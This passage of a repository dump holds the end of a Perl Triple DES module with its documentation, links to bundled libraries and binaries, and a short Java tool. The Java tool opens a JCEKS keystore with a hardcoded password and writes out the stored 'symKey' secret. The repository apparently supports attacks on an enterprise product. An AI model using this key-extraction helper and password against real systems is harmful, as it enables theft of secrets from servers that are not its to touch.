| return substr ( $cyphertext, 0, $size ); 52 | 53 | } 54 | 55 | sub debug { 56 | my ( @mess ) = @_; 57 | open D, ">>debug"; 58 | print D "@mess\n"; 59 | close D; 60 | } 61 | 62 | "True Value"; 63 | 64 | =head1 NAME 65 | 66 | Crypt::TripleDES - Triple DES encyption. 67 | 68 | =head1 SYNOPSIS 69 | 70 | my $des = new Crypt::TripleDES; 71 | my $cyphertext = $des->encrypt3 ( $plaintext, $passphrase ); 72 | my $plaintext = $des->decrypt3 ( $cyphertext, $passphrase ); 73 | 74 | =head1 DESCRIPTION 75 | 76 | This module implements 3DES encryption in ECB mode. The code is based on 77 | Eric Young's implementation of DES in pure perl. It's quite slow because of 78 | the way Perl handles bit operations and is not recommended for use with 79 | large texts. 80 | 81 | =head1 METHODS 82 | 83 | =over 4 84 | 85 | =item B 86 | 87 | The constructor. 88 | 89 | =item B $plaintext, $passphrase 90 | 91 | Encrypts the plaintext string using the passphrase. Whitespace characters 92 | are appended to the string if its length is not a multiple of eight. User 93 | applications can correct for this by storing plaintext size with the 94 | cyphertext. The passphrase is an ASCII character string of upto 48 95 | characters. 96 | 97 | =item B $cyphertext, $passphrase 98 | 99 | Inverse of encrypt3(). 100 | 101 | =back 102 | 103 | =head1 AUTHOR 104 | 105 | Vipul Ved Prakash, mail@vipul.net 106 | Eric Young, eay@psych.psy.uq.oz.au 107 | 108 | Patches: 109 | Jonathan Mayer 110 | 111 | =cut 112 | 113 | 114 | -------------------------------------------------------------------------------- /lib/LWP-Protocol-https-6.03.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/funoverip/epowner/bb8ff5ac478ef8a8265b28eb102a5cecd1029a4b/lib/LWP-Protocol-https-6.03.tar.gz -------------------------------------------------------------------------------- /lib/LWP-Protocol-socks-1.6.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/funoverip/epowner/bb8ff5ac478ef8a8265b28eb102a5cecd1029a4b/lib/LWP-Protocol-socks-1.6.tar.gz -------------------------------------------------------------------------------- /tools/DumpKey0000000000000.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/funoverip/epowner/bb8ff5ac478ef8a8265b28eb102a5cecd1029a4b/tools/DumpKey0000000000000.class -------------------------------------------------------------------------------- /tools/DumpKey0000000000000.java: -------------------------------------------------------------------------------- 1 | import java.io.*; 2 | import java.security.*; 3 | 4 | public class DumpKey0000000000000 { // Final Class file must be 26 chars length .. 5 | static public void main(String[] a) { 6 | if (a.length<1) { 7 | System.out.println("Usage: java DumpKey keystore.jks outfile"); 8 | return; 9 | } 10 | String jksFile = a[0]; 11 | String outFile = a[1]; 12 | try { 13 | char[] arrayOfChar = "OEr(&^n:1".toCharArray(); 14 | KeyStore localKeyStore = KeyStore.getInstance("JCEKS"); 15 | localKeyStore.load(new FileInputStream(jksFile), arrayOfChar); 16 | Key key = localKeyStore.getKey("symKey", arrayOfChar); 17 | 18 | FileOutputStream out = new FileOutputStream(outFile); 19 | out.write(key.getEncoded()); 20 | out.close(); 21 | } catch (Exception e) { 22 | e.printStackTrace(); 23 | return; 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /tools/README.txt: -------------------------------------------------------------------------------- 1 | Unzip: 2 | http://stahlforce.com/dev/index.php?tool=zipunzip 3 | -------------------------------------------------------------------------------- /tools/unzip.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/funoverip/epowner/bb8ff5ac478ef8a8265b28eb102a5cecd1029a4b/tools/unzip.exe --------------------------------------------------------------------------------